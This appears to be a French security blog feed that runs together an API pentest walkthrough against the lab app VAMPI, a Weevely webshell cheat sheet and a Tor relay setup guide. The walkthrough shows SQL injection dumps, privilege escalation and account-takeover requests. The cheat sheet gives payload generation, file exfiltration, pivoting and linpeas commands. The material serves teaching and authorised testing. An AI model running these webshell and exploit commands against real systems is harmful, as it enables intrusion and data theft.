Caractéristiques du projet VAMPI fin 2023 :

• Basé sur les 10 principales vulnérabilités de l’OWASP pour les API (2023)
• Utilise OpenAPI3
• Activation/désactivation globale pour avoir un environnement vulnérable ou non. (vulnerable={0,1})
• Authentification par jeton (tokentimetolive=300) Il est possible d’augmenter cette valeur évidement.

IV. Déouverte des points de terminaisons

Même si le projet VAMPI nous fournit les endpoints vulnérables, il va de soi qu’en « boîte noire », nous ne disposons pas de ces informations. C’est précisément là que réside la complexité d’un test à l’aveugle d’une API. Dans le cadre de cet article, je vais simuler une approche « black box ».

Afin de rendre les tests d’une API aussi exhaustifs que possible, il est recommandé de les effectuer en boîte blanche, ce qui signifie avoir accès aux différents comptes et à la documentation. Cela permet à l’auditeur d’être beaucoup plus efficace et exhaustif dans ses tests.

Mais alors, comment procéder ?

Le moyen le plus basique pour détecter rapidement des points de terminaison communs consiste à utiliser un scanner de répertoire tel que dirsearch ou dirb. De plus, il est fortement recommandé d’utiliser une wordlist personnalisée contenant des noms couramment utilisés lors de la conception d’API. Voici une petite liste, bien sûr non exhaustive :

v1
v2
v3
users
articles
api
ui
swagger
(...)

python3 dirsearch.py -u http://localhost:5000 -w /tmp/common-api-endpoints-wordlist.txt -r

La capture ci-après nous montre qu’une seule redirection a été détectée suite à l’exécution de dirsearch. Allons voir ce qui se cache derrière ce lien…

Si vous menez un véritable test d’intrusion, n’oubliez pas de réduire le nombre de threads, ainsi que le délai entre chaque requête, afin de ne pas vous faire bannir de manière inopportune :). Par ailleurs, je vous conseille de vous intéresser de près aux nombreuses options de la commande dirsearch.

python3 dirsearch.py -u http://example.com:5000 -t 2 --delay=0.20 -w /tmp/common-api-endpoints-wordlist.txt

On constate qu’une redirection (HTTP Code 308) a été détectée pour le répertoire « /ui ». En consultant ce lien, on peut constater que nous arrivons sur une interface Swagger.

Mais qu’est-ce que Swagger ? Swagger est un ensemble d’outils open source permettant de concevoir, documenter et tester des API REST. Il utilise une spécification appelée OpenAPI pour décrire la structure des API, y compris les points de terminaison, les paramètres et les réponses attendues. Cependant, exposer Swagger sans authentification préalable pose de graves problèmes de sécurité, car cela peut fournir aux attaquants des informations détaillées sur la structure interne de l’API, facilitant ainsi les attaques potentielles.

Oui, même dans un cas réel, il est possible de trouver ce genre de plateforme exposée publiquement. Croyez-moi, je sais de quoi je parle ^^

Ici, Swagger nous affiche tous les endpoints de l’API auxquels on peut accéder par défaut, ainsi que les détails associés à chacun. Nous venons donc implicitement de passer d’un audit en boîte noire à un audit en boîte blanche ! ^^

V. Tests SANS authentification au préalable (pre-auth testing)

A. Lister les utilisateurs du site

Cette première faille de sécurité n’est pas sans conséquence. En effet, elle permet à un attaquant de lister l’intégralité des utilisateurs du site. Cela signifie qu’un attaquant pourrait facilement établir une liste des utilisateurs du site, ce qui pourrait être utilisé ultérieurement pour d’autres vecteurs d’attaque en exploitant ces identifiants/emails.

Méthode HTTP

GET

curl http://127.0.0.1:5000/users/v1 | jq 

Fréquemment, les API disposent d’un paramètre « debug » permettant d’afficher plus d’informations concernant la réponse de l’endpoint. C’est grosso-modo l’équivalent du mode « verbose : -v » d’une commande classique.

Méthode HTTP

GET

curl http://localhost:5000/users/v1/_debug

Certaines fonctionnalités, telles que la possibilité de lister les utilisateurs ou le mode débogage, devraient impérativement exiger une authentification d’un utilisateur ayant au minimum un profil de développeur. En aucun cas un utilisateur standard authentifié ne devrait avoir la capacité de lister tous les utilisateurs d’une API !

Pour afficher les informations d’un seul utilisateur, vous pouvez utiliser cette requête :

curl http://127.0.0.1:5000/users/v1/{username}

Ok, je vous l’accorde, il est très peu probable d’obtenir le mot de passe en clair à la suite de l’exécution en mode de débogage. Cependant, la recommendation est clair : Ne pas rendre accessible publiquement ce mode avancé, qui est normalement réservé aux développeurs.

B. Créer un utilisateur

En consultant la documentation de l’API, on constate qu’un endpoint /register existe. Testons si en tant qu’utilisateur non authentifié, nous pouvons créer un compte.

Méthode HTTP

POST

curl http://127.0.0.1:5000/users/v1/register -d '{"email":"lgds@domain.com","username":"lgds","password":"lgds"}' -H 'Content-Type: application/json' | jq

On constate ici qu’aucune politique de mot de passe n’est mise en place sur l’API, car il m’a été possible de créer un utilisateur avec comme mot de passe « lgds »…

C. Élevation de privilège – Défaut de cloisonnement verticale

Élevation de privilèges ou Escalade de privilèges ? le débat est lancé ^^

Le cloisonnement vertical implique la possibilité d’accéder à des fonctionnalités qui se trouvent en dehors de la portée initiale de l’utilisateur. Cela peut inclure la recherche de moyens pour obtenir des droits d’administration ou similaires, dans le but de passer d’un statut utilisateur à un statut administrateur.

Pour plus d’informations : https://openclassrooms.com/fr/courses/7727176-realisez-un-test-dintrusion-web/7917741-verifiez-la-fiabilite-du-controle-d-acces#/id/r-7919936

Méthode HTTP

POST

Lorsque nous avons examiné le point de terminaison « /users/v1/_debug » plus tôt, vous n’avez peut-être pas remarqué, mais un attribut supplémentaire nous a été retourné en plus de « email », « username », et « password ». Cet attribut est « admin » (return : true or false : comportement par défaut). Cela démontre clairement l’existence d’une propriété appelée « admin » qui est définie sur « true » pour les utilisateurs administrateurs. Essayons d’enregistrer un nouvel utilisateur avec cet attribut dans la requête.

Encore une fois, oui, même dans un cas réel, il est possible de trouver ce genre de plateforme exposée publiquement. Croyez-moi, j’en ai déjà vu moi-même ^^

Méthode HTTP

POST

Vous pouvez donc ajouter l’attribut « admin » et lui donner la valeur « true » pour vous auto-promouvoir en tant qu’administrateur de l’API dès votre inscription.

curl http://127.0.0.1:5000/users/v1/register -d '{"admin": true, "username": "adm_lgds", "password": "adm_lgds", "email":  "adm_lgds@domain.com"}' -H 'Content-Type: application/json' | jq

{
 "admin": true,
 "username":  "adm_lgds",
 "password":  "adm_lgds",
 "email":  "adm_lgds@domain.com"
}

Maintenant, si vous lister les utilisateurs avec « /users/v1 », vous constaterez l’ajout de l’utilisateur lgds adm_lgds. Pour vous assurer que celui-ci est admin, utilisez le endpoint « /users/v1/_debug »,

Méthode HTTP

GET

curl http://localhost:5000/users/v1/_debug
# _debug ici vous permettra de visualiser si le niveau d'habilitation de l'utilisateur adm_lgds est bien fixé sur "admin"

D. Injection SQL – Non assainissement des entrées utilisateurs (inputs)

SQli : Technique permettant à un attaquant d’insérer du code SQL malveillant dans une requête SQL, souvent via des formulaires web ou des champs de recherche vulnérables. Cela peut entraîner la modification, la suppression ou la divulgation non autorisée de données dans une base de données. Pour se protéger contre les injections SQL, il est essentiel de valider et de sécuriser correctement les entrées utilisateur lors de la création de requêtes SQL.

En ajoutant un simple guillemet « /users/v1/name‘ » nous n’avons pas obtenu une réponse de l’API, mais une erreur.

Méthode HTTP

GET

curl "http://127.0.0.1:5000/users/v1/lgds'" | head -n 10

Cela indique que les données fournies par l’utilisateur ne sont pas correctement nettoyées avant d’être transmises à la base de données, ce qui signifie qu’elles exécuteront tout ce que l’utilisateur y insère y compris des jeux de caratères malicieux. Dans ce cas précis, l’erreur renvoyée nous indique que le Système de Gestion de Base de Données (SGBD) en question est SQLite.

Pour exploiter rapidement cette injection SQL, vous pouvez utiliser SQLMap de la manière suivante :

sqlmap -u "http://127.0.0.1:5000/users/v1/lgds" --dump all --batch --flush-session

• -u "http://127.0.0.1:5000/users/v1/lgds" : C’est l’URL cible à analyser. Dans cet exemple, SQLMap va cibler l’URL « http://127.0.0.1:5000/users/v1/lgds » pour rechercher des vulnérabilités SQL.
• --dump all: Ce paramètre indique à SQLMap de tenter de récupérer des données de la base de données une fois qu’il a identifié une vulnérabilité SQL. L’option « all » signifie qu’il tentera de récupérer toutes les données disponibles.
• --batch: En utilisant cette option, SQLMap fonctionnera en mode batch, ce qui signifie qu’il n’interagira pas avec l’utilisateur pour prendre des décisions. Il utilisera les options par défaut pour l’analyse.
• --flush-session: Cette option indique à SQLMap de supprimer toutes les données de session de la commande sqlmap courrante. Cela peut être utile pour éviter que des données d’une analyse précédente n’interfèrent avec la nouvelle analyse. (cache…)

Afin de prévenir toute surcharge de la base de données et de maintenir un faire profil bas dans un scénario réel, il est essentiel d’opter pour des extractions progressives. Cela signifie qu’il est recommandé d’extraire une table, voire même des portions de tables, pour limiter le nombre de résultats obtenus. Cette approche permet d’effectuer une preuve de concept (PoC) initiale tout en préservant la disponibilité et la stabilité de l’API et de sa base de données.

Voici le résultat du dump :

E. Absence de protection contre les attaques automatisés

Il existe plusieurs méthodes pour réaliser ce test. Dans mon cas, j’ai choisi d’utiliser Burp Suite Pro en sélectionnant le Mode Sniper dans le menu Intruder. Sans entrer dans les détails, j’ai envoyé avec succès 50 requêtes consécutives vers le point d’extrémité « /users/v1/login » sans être bloqué.

Méthode HTTP

POST

VI. Tests post-identification (post-authentication testing)

A. Défaut de cloisonement horizontal

On appelle cloisonnement horizontal le fait de vérifier qu’un utilisateur A ne peut pas accéder au périmètre d’un utilisateur B. (fichiers, etc.)

source : https://openclassrooms.com/fr/courses/7727176-realisez-un-test-dintrusion-web/7917741-verifiez-la-fiabilite-du-controle-d-acces

Pour obtenir la liste complète de tous les livres, il vous suffit de faire une requête vers le point de terminaison suivant : /books/v1.

Méthode HTTP

GET

Pour rappel, l’objectif de cette API est de référencer une collection de livres. Chaque livre est associé de manière unique à chaque utilisateur, et chaque livre a un seul et unique propriétaire. Lorsqu’un utilisateur consulte ce point de terminaison, il est impératif qu’il se soit préalablement authentifié auprès de l’API, ce qui permettra à celle-ci de lui donner accès au ‘secret du livre’

Nous constatons qu’il existe un point d’accès qui répertorie tous les livres, accessible sans nécessité préalable d’authentification : /books/v1

curl -s http://127.0.0.1:5000/books/v1 | jq

Le fait de fournir une liste de livres avec les propriétaires (utilisateurs) associés n’est pas un comportement approprié, car cela permet une énumération des utilisateurs qui possèdent des livres en interrogeant cet endpoint. »

Je vais maintenant tenter d’obtenir le secret d’un des livres intitulé « bookTitle16 » appartenant à l’utilisateur « name1 » en interrogeant l’endpoint /books/v1/{book_name}.

Méthode HTTP

GET

curl -s http://localhost:5000/books/v1/bookTitle16 | jq

Ceci suggère que je n’ai pas d’authentification active sur l’API. Ainsi, je devrais m’authentifier avec le compte utilisateur « name1 » pour pouvoir accéder au « secret du livre » intitulé « bookTitle16 »

Méthode HTTP

POST

curl -s http://127.0.0.1:5000/users/v1/login -d '{"username":"name1","password":"pass1"}' -H 'Content-Type: application/json' | jq

Avec le jeton d’authentification obtenu, je suis désormais en mesure de m’authentifier en tant que « name1 » et d’accéder au secret du livre.

Méthode HTTP

GET

curl -s http://127.0.0.1:5000/books/v1/bookTitle16 -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTgwNjI5ODUsImlhdCI6MTY5ODA2MjY4NSwic3ViIjoibmFtZTEifQ.t9UiTu5EA-nOZJeQIFyftYvcQQbsrm3WR1R2M1Cz2Xg' | jq

Maintenant, envisagez un scénario où un autre utilisateur pourrait accéder au secret d’un livre qui ne lui appartient pas. Pensons en dehors des sentiers battus ! Comme le dit Julien Metayer : Le hacking est avant tout un état d’esprit

En théorie, cela ne devrait pas être possible, mais par précaution, pourquoi ne pas effectuer un test pour confirmer ?

Pour ce faire, je vais me connecter en utilisant un nouvel utilisateur que j’ai fraîchement créé : « lgds » (et non « lgds_admin » ! Nous voulons un utilisateur ayant le même niveau d’autorisation que « name1 », c’est-à-dire un utilisateur standard).

Méthode HTTP

POST

curl -s http://127.0.0.1:5000/users/v1/login -d '{"username":"lgds","password":"lgds"}' -H 'Content-Type: application/json' | jq

Méthode HTTP

GET

Une fois de plus, je place mon jeton d’authentification dans l’en-tête HTTP « Authorization Bearer » pour accéder à l’endpoint /books/v1/bookTitle16.

curl -s http://127.0.0.1:5000/books/v1/bookTitle16 -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTgwNjM0NzgsImlhdCI6MTY5ODA2MzE3OCwic3ViIjoibGdkcyJ9.YIDVhSOaPq9BIjF0JkSfaj147PDGsIRkwA4WrX4tOyg' | jq

Vous pourriez reformuler votre phrase de la manière suivante :

« Toudoum (comme dans Netflix) ! Oh, que découvrons-nous ? Il est possible d’accéder au secret du livre « bookTitle16 » (propriétaire : name1) alors que je me connecte en utilisant l’utilisateur « lgds » avec son jeton d’authentification qui lui est propre. Le défaut de cloisonnement horizontal est indubitablement établi !

B. Account takeover

Nous avons observé la possibilité d’utiliser le token d’utilisateur 1 pour accéder aux données de l’utilisateur 2. Par conséquent, nous allons tenter cette opération sur un point d’accès différent de celui précédemment utilisé. Envoyez une nouvelle requête authentifiée à /users/v1/{username}/password et envoyez le nouveau mot de passe comme valeur JSON pour « password ».

Nous avons constaté la possibilité d’utiliser le jeton de l’utilisateur lgds pour accéder aux données de l’utilisateur name1. Par conséquent, je vais tenter cette opération sur un point d’accès différent de celui précédemment utilisé.

Dans cette section, vous aurez encore besoin d’un jeton de connexion valide. Si le vôtre a expiré, reconnectez-vous en initiant une nouvelle session auprès de l’API :

Réinitialiser le mot de passe de n’importe quel utilisateur via un compte standard

Méthode HTTP

PUT

curl -v -X PUT http://127.0.0.1:5000/users/v1/name1/password -d '{"password":"pwned"}' -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTgwNjQzMDEsImlhdCI6MTY5ODA2NDAwMSwic3ViIjoibGdkcyJ9.2-H_cSNInK_xWaZpDbpjJuSBbN-8IGhykSQATN-f7HM' | jq

L’API nous renvoie une réponse 204, mais cela peut parfois être considéré comme ‘normal’. En effet, les développeurs n’avaient peut-être pas prévu cette possibilité, et donc l’API ne renvoie aucune réponse, ce qui pourrait être avantageux pour nous.

Méthode HTTP

POST

curl -s http://127.0.0.1:5000/users/v1/login -d '{"username":"name1","password":"pwned"}' -H 'Content-Type: application/json' | jq

Comme vous pouvez le voir sur la capture d’écran ci-dessus, il a été possible de modifier le mot de passe de l’utilisateur « name1 » en utilisant un jeton d’authentification appartenant à l’utilisateur « lgds ».

Réinitialiser l’email de n’importe quel utilisateur.

Il n’est pas possible d’effectuer cette action, car les développeurs ont mis en place une vérification pour s’assurer que le jeton correspond réellement à son propriétaire. Si vous exécutez la requête suivante, cela changera l’adresse e-mail, non pas de l’utilisateur « name1 », mais de l’utilisateur « lgds ».

Méthode HTTP

PUT

curl -v -X PUT http://127.0.0.1:5000/users/v1/name1/email -d '{"email":"lgds@yopmail.com"}' -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTg3MDM4NTQsImlhdCI6MTY5ODY3Mzg1NCwic3ViIjoibGdkcyJ9.8WACw7GZPhGlB0F1tg-xk9Q3uKXH0hqDo4LQE1519AY' | jq

Comme illustré sur la capture d’écran ci-dessus, il n’a pas été possible de modifier l’adresse e-mail de l’utilisateur « name1 » en utilisant un jeton d’authentification appartenant à l’utilisateur « lgds ». En revanche, cette requête a provoqué un effet inattendu en modifiant l’adresse e-mail de notre propre compte… Cela Porte un nom : l’effet : « Retour de bommerang »

Supprimer le compte de n’importe quel utilisateur.

Étant donné la vulnérabilité de cette API, nous sommes en droit de nous demander si nous pouvons supprimer un compte en utilisant un compte utilisateur standard…

Méthode HTTP

DELETE

curl -v -X DELETE http://127.0.0.1:5000/users/v1/name1 -d '{"password":"pwned"}' -H 'Content-Type: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTg3MDM4NTQsImlhdCI6MTY5ODY3Mzg1NCwic3ViIjoibGdkcyJ9.8WACw7GZPhGlB0F1tg-xk9Q3uKXH0hqDo4LQE1519AY' | jq

Une reformulation possible pourrait être :

Comme le montre la capture d’écran ci-dessus, il est clair que cela n’est pas possible.

C. DoS via une expression régulière (regex)

Je n’ai pas encore terminé avec cette API ! Au-delà du fait que j’ai pu démontrer dans une des premières sections qu’il était possible d’envoyer un grand nombre de requêtes sans être bloqué, je me suis demandé s’il était possible de faire « planter l’API », étant donné qu’elle ne nettoie pas correctement ses entrées. Eh bien, la réponse est oui…

Un Self-DoS implique de surcharger un service quelconque s’executant sur l’hôte en l’obligeant à effectuer des calculs complexes ce qui augmentent la charge de travail et entraînent des dépassements de délais. En fin de compte, l’application est submergée. Une fois de plus, cela est rendu possible uniquement parce que les données d’entrée de l’utilisateur ne sont pas correctement assainie.

Ici, il est possible de provoquer le crash de l’application en envoyant une requête authentifiée au point de terminaison « /users/v1/{username}/email » en fournissant une longue chaîne de caractères qui n’est en réalité pas une adresse e-mail valide, mais un payload ayant pour but de pertuber le comportment de l’API.

Le caractère « ! » n’est pas celui qui provoque le comportement inattendu, c’est uniquement la longueur excessive de la chaîne par rapport à ce que le backend avait prévu qui provoque le problème (plus le fait que les inputs ne sont pas sanitize)

Méthode HTTP

PUT

VII. Conclusion

Merci d’avoir pris le temps de lire cet article. J’espère qu’il vous a aidé à mieux comprendre le pentesting d’une API en détail. Si vous avez des remarques ou des questions, n’hésitez pas à m’en faire part sur X :).

++

Geoffrey

L’article Tester la sécurité d’une API : Un Guide Pratique est apparu en premier sur Le Guide Du SecOps • LGDS.

Rappel : L’article qui va suivre contient des techniques et méthodes qui peuvent s’avérer être illégales et dangereuses si elles sont utilisées à mauvais escient. Ce tutoriel ne doit en aucun cas être utilisé contre un particulier, une entreprise, une organisation à but non lucratif ou une administration publique de quelconque pays. Je me dédouane de toute responsabilité en cas de problèmes ou d’incidents de quelque nature que ce soit après le visionnage de cet article.

Bonjour à tous ! Aujourd’hui, après quelques semaines sans article, je vais vous présenter l’un de mes outils préférés en sécurité offensive axé sur le web. Je le considère clairement comme un must-have pour toutes les personnes s’intéressant de près ou de loin à la sécurité offensive. Derrière son petit nom « weevely », se cache un artefact développé en PHP qui vous permet d’établir un webshell interactif très facilement dès lors que vous pouvez profiter d’une vulnérabilité de type file upload.

Cet article est rédigé sous la forme d’une « cheatsheet ». Cela signifie que je ne présenterai pas un scénario d’exploitation, mais plutôt des commandes et des astuces autour de Weevely. Nous aborderons les caractéristiques générales de Weevely, puis l’utilisation de certains de ses modules, et enfin, comment interagir avec ce webshell sans nécessairement utiliser ses modules.

I. Fonctionnement Général

A. Générer un payload

Pour un serveur utilisant une version < à PHP 8 :

python3 weevely.py generate 123456 payload.php

123456 représente le mot de passe qui vous sera demandé lors de l’initialisation de la connexion entre vous et votre cible afin de sécuriser l’accès à ce point de terminaison malveillant.

Pour un serveur utilisant une version >= à PHP 8, il faut générer sa payload avec une option d’obfuscation spécial (suite à la suppression de certaines fonctions comme create_function() entre la nouvelle et les anciennes versions de PHP) :

python3 weevely.py generate -obfuscator phar 123456 payload.php

Merci à @ZanyMonk

Plus d’information ici : https://github.com/epinna/weevely3/pull/168

B. Accéder à ce payload

Une fois que vous avez uploadé votre payload sur le serveur web cible, vous pouvez utiliser la commande suivante pour instancier le webshell.

weevely http://192.168.130.130/weevely.php 123456

Vous obtenez donc un webshell interactif avec un rendu plutôt sympathique. Cependant, il y a un seul bémol : vous n’avez pas l’autocomplétion des commandes Linux.

Par défaut, Weevely offre un chiffrement des échanges entre l’attaquant et la cible, ce qui rend extrêmement difficile, voire quasi-impossible, pour un analyste sécurité de comprendre les actions spécifiques d’un attaquant qui l’utilise.

Avantages	Inconvégnients
Standalone (upload d’un seul fichier en tant que payload, communication en mode « bindshell »)	Certains modulent que weevely propose n’a pas un grand intérêt.
Chiffre les communications par défaut, code php obfuscé	Pas d’auto-complétion des commandes « Native » Linux.
Facile d’utilisation
Conserve l’historique d’une précédente session (commandes saisies, etc.)

Une fois connecté au webshell, il est possible de lister les modules de weevely via la commande :help , ou alors utiliser des commandes disponnible sur le système.

II. Utilisation des modules avancés

A. Liste des modules

Voici la liste des modules actuellement supportés par weevely (4.0.1)

B. :file_upload

Ce module permet, comme son nom l’indique, d’uploader un fichier de votre machine d’attaque vers la cible. Cela peut être très pratique, notamment si la target n’a pas accès à Internet. Dans l’exemple ci-dessous, j’ai récupéré localement le binaire linpeas, que j’upload sur la cible via le protocole HTTP.

cd ~/temp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64

:file_upload /home/kali/temp/linpeas_linux_amd64 /var/www/html/app/linpeas_linux_amd64

Dès lors que le fichier est correctement uploadé, il ne manque plus qu’à attribuer les droits d’exécution.

C. :file_download

À contrario, si-vous souhaitez récupérer des fichiers sur le serveur, vous le pouvez en utilisant :file_download

Pour cela, zipé le répertoire qui vous interesse avec :

zip -q -r <emplacement provisoire du fichier zip> <répertoire qui va être zipé>
zip -q -r /tmp/scripts.zip scripts 

Une fois cette action fête, il ne vous reste plus qu’à exfiltrer ce fichier vers un dossier de votre choix localement sur votre machine d’attaque.

:file_download <fichier à exfiltrer> <répertoire sur la machine d'attaque>
:file_download /tmp/scripts.zip /home/kali/temp/scripts.zip

D. :net_scan

Afin de réaliser un mouvement latéral / pivot, vous pouvez utiliser ce module qui vous permettra de scanner les ports d’une IP, ou d’un groupe d’adresse IP. (Même si le scan est relativement lent, celui-ci reste néanmoins assez furtif et bien moins « bruyant » qu’un nmap (par défaut)).

Mais d’abord un petit rappel pour expliquer la différence entre ces deux termes qui ont un sens commun, mais qui n’ont pas réellement la même finalité :

Un pivot en sécurité informatique se produit lorsqu’un attaquant réussit à accéder à un système compromis, puis qu’il utilise ce dit système comme point d’entrée pour accéder à d’autres réseaux et ressources non accessibles par sa machine d’attaque par défaut.

Mouvement latéral : Pour expliquer ce terme, supposons qu’un attaquant ait réussi à compromettre le compte utilisateur d’un domaine Active Directory. À partir de ce compte, l’attaquant peut chercher à se déplacer en tentant, par exemple, d’accéder à d’autres serveurs en utilisant les identifiants qu’il a précédemment obtenus. Ainsi, il est possible de découvrir que l’utilisateur compromis dispose de droits plus étendus qu’il ne paraît au premier abord. Imaginons que ce compte appartienne à un DAF (Directeur Administratif et Financier). Logiquement, il devrait avoir des autorisations pour accéder à d’autres applications liées à la comptabilité et aux finances, et autres serveurs de fichiers.

En résumé, un pivot implique le passage d’un réseau à un autre en utilisant un serveur compromis comme point de départ, tandis que le mouvement latéral se réfère à l’exploration et à l’expansion horizontale à l’intérieur du réseau « global » pour atteindre de nouvelles cibles.

Je ne rentre pas plus dans les détails, si-vous souhaitez plus d’information sur le sujet, je vous invite à consulter les liens suivants : https://delinea.com/blog/windows-privilege-escalation

Reprenons, ici le module net_scan vous permet en toute simplicité (vraiment) de réaliser un scan de ports sur un groupe d’adresses IP, voire même sur une plage complète. Pour résumer, c’est une sorte de mini nmap qui va vous indiquer si l’IP est en ligne et si un service quelconque tourne derrière celle-ci. Cela peut vous aider à poursuivre votre exploration et à identifier la présence éventuelle d’autres machines sur le même réseau avant d’effectuer éventuellement une action de pivotage.

Dans l’exemple ci-dessous je scan le réseau 192.168.130.0/24 afin de savoir si oui ou non d’autres services HTTP sont exécuté sur les IPs de clui-ci sur les ports commun 80, 443.

:net_scan 192.168.130.0/24 80,443 

Ici, on constate donc que deux IPs semble héberger un serveur web.

E. :file_grep

Cette fonctionnalité permet de rechercher une chaine de caractères recursivement dans tous les fichiers et sous-dossier du dossier actuel (« . »). Même si vous pouvez utiliser l’option -r de grep pour réaliser cela, certaines distributions Linux embarquant une version de grep différentes ou dépréciés n’embarqueront peut-être pas cette fonctionnalité.

Celle-ci s’avère très pratique notamment pour débusquer des mots de passe, jeton de connexions ou autres donnés sensibles… Attention tout de même à cibler les bons pattern, et les bons dossiers sinon vous risquez de vous noyer parmi les résultats qui vous seront retourné.

La commande suivante permet de rechercher la présence de la string « admin: » au seins du dossier /var/www/html/app

:file_grep . admin:

F. :net_proxy

Lorsque vous utilisez l’option net_proxy avec Weevely, vous pouvez instancier un proxy HTTP afin d’encapsuler le trafic entre votre machine et le serveur distant. Cela peut être utile lorsque vous souhaitez contourner des restrictions réseau et/ou réaliser un pivoting.

:net_proxy

Si-vous identifié que votre machine cible dispose de plusieurs cartes réseau, cela peut éventuellement sous-entendre que celle-ci est interconnectée à plusieurs réseaux. Problème en l’état actuel, il n’est pas possible d’atteindre une autre machine sur le réseau 10.50.50.0/24, car je n’ai aucune route qui me permette de l’atteindre.

C’est la qu’intervient notre module weevely :

:net_proxy

Par défaut le port :8080 sera ouvert côté attaquant. Celui-ci sera la porte d’entrée de la connexion du proxy. Pour faire faire transiter vos connexions via le proxy, il faudrait alors « proxifier » vos commandes soit via un outil dédié comme proxychain soit en utilisant l’option « proxy » de votre outil.

Certains outils qui utilise d’autres protocole que HTTP ne fonctionneront pas dans ce cas précis car weevely ne supporte pas l’encapsulation d’autres protocoles. Je vous conseil de vous reporter au tools suivants, si vous avez besoin de d’utiliser cette apprôche :

• ligolo-ng
• chisel

Ici, je pars du principe que je connais l’existence du serveur web hébergé via l’IP 10.50.50.2.

Une fois le proxy en place, je vais essayer d’atteindre le serveur web 10.50.50.2. Voici comment encapsuler vos requêtes HTTP avec curl :

curl -x "http://127.0.0.1:8080" "http://10.50.50.2"

Dans le cas contraire, si je ne précise pas le proxy, je n’accèderais pas au serveur web 10.50.50.2

G. :net_phpproxy

Ce module permet quant à lui d’instancier provisoirement un proxy PHP sur le serveur cible. Seul petit hic, le rendu graphique est parfois abject à cause entre autres de diverses imcompatbilité. (moteurs de rendu, etc.)

III. Utilisation de weevely sans modules

A. Auditer la configuration du serveur avec linpeas (oui toujours lui)

Si la machine à accès à internet

Comme je vous l’ai dit plus haut, certains modules de weevely ne servent plus à grand-chose, car depuis un certain temps maintenant, le support des commandes Linux est pris en charge nativement, ce qui semblait ne pas être le cas auparavant.

Si votre Cible à accès à internet, vous pouvez exécutez linpeas facilement en saisissant les commandes suivantes :

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas_linux_amd64
chmod +x linpeas_linux_amd64
./linpeas_linux_amd64

Le rendu n’est pas instantané. Il faudra attendre la fin de l’exécution du script pour obtenir le rapport complet. Ceci est dû aux restrictions du webshell weevely. Veuillez patienter quelques minutes.

Si la machine n’a pas accès à internet

B. Exfiltrer des données

Très simplement, je peux instancier un serveur web python depuis le webshell weevely comme cela :

Votre target devra disposer de python d’installé. Le module http.server est un module in-built de python3.

python3 -m http.server 8080

Dès lors, il est possible de récupérer le fichier secrets.zip depuis ma machine d’attaque avec la commande wget (ou via un navigateur…)

IV. Conclusion

En conclusion, Weevely est un outil très sympathique qui s’avère être aussi bien utile en CTF qu’en contexte réel. Sa capacité à créer et à gérer des webshells interactifs en fait un choix judicieux. Cet article « cheat sheet » était loin d’être exhaustif. Je me suis concentré sur les modules et les aspects les plus intéressants selon moi. Il peut être utilisé comme un guide pratique pour tirer le meilleur parti de cet outil.

Bel été à vous !

++

Archidote

L’article Weevely – un Webshell interactif polyvalent (cheat sheet) est apparu en premier sur Le Guide Du SecOps • LGDS.

Les relais sont des serveurs ayant été configurés pour faire partie du réseau de Tor. Ils sont aussi appelés « routeurs » ou « nœuds ». Pour abréger, Ils acheminent (émission-réception) du trafic sur le réseau tor. Le principal intérêt de faire tourner un relai Tor c’est bien évidemment de rendre le réseau Tor dans son ensemble plus rapide, plus robuste contre les attaques, plus stable en cas de pannes.

I. Pourquoi configurer un relais Tor ?

Tor est l’un des outils d’anonymat les plus populaires et l’un des réseaux les plus développés. Rien ne serait possible sans l’appui des milliers de bénévoles qui partagent un peu de leur bande passante afin de contribuer tous ensemble au bon fonctionnement de ce réseau.

C’est pour ça qu’à travers cet article j’espère à la fois toucher des particuliers, mais avant tout des entreprises, organisations et associations sensibles à la liberté d’accéder et de s’exprimer sur internet sans restriction pour quiconque.

Au vu du contexte international de ces derniers temps, il ne fait aucun doute que de plus en plus de pays restreignent l’accès à tout ou partie d’internet.

II. Les types de relais tor

Pour rappel Il y a trois types de relais que vous pouvez faire tourner afin d’aider le réseau Tor :

• Entré (Entry Guard)
• Milieu (Middle)
• Sortie (Exit)

<schema relais tor>

Pour rappel, cet article, présente uniquement la configuration d’un noeud tor Middle. Attention, n’est pas relais « Guard » qui veut. Vous êtes élu « Guard » uniquement si votre relais est âgé de plus de huit jours, dispose d’une bonne connectivité et respecte d’autres critères que vous pouvez retrouver ici :

Source : https://blog.torproject.org/lifecycle-of-a-new-relay/

Généralement un relais devient Guard entre 8 et 68 jours. Toutefois, vous ne serez pas « Guard » à plein temps, vous alternerez entre Middle et Guard en fonction de l’état du réseau.

III. Est-ce légal ?

Tor est légal en France. À ce jour (fin 2022), il n’y a rien qui vous interdit d’utiliser le réseau en oignon si ce que vous faites avec est autorisé par la loi. Cependant, en raison de l’exposition légale qui accompagne l’exécution d’un relais de sortie (comme l’exit node est en bou de chaine, c’est cette adresse IP qui sera enregistrée dans les logs des différents sites/serveurs.), les personnes/organisations qui mettent place un noeud de sortie peuvent faire face à des plaintes si du trafic malveillant sort à travers celui-ci.

C’est pour cette raison que vous ne devez pas exécuter un relais de sortie Tor depuis votre domicile (Sinon vous risquez très fortement d’entendre « toc, toc, toc Police » à 6H du matin chez vous).

Presque l’intégralité des relais tor de sortie sont affiliés à une institution, comme une université, une bibliothèque, un « hackerspace », une association senssiblent au traitement des données personnelles et à la confidentialité. Une institution peut non seulement fournir une plus grande bande passante pour la sortie, mais est surtout mieux placée pour traiter les plaintes d’abus ou les rares enquêtes d’application de la loi.

Sources :

• https://community.torproject.org/relay/community-resources/eff-tor-legal-faq/
• https://support.torproject.org/fr/about/

IV. Installation

Assurez-vous que la liste de vos repositorys est à jour avant d’installer le paquet tor :

apt update
apt install tor

Modifier le fichier de configuration suivant, en insérant à la fin les lignes suivantes :

A. Configuration

Nickname    myTorRelay  
ContactInfo USERNAME@e-mail
ORPort      443 
ExitRelay   0
SocksPort   0

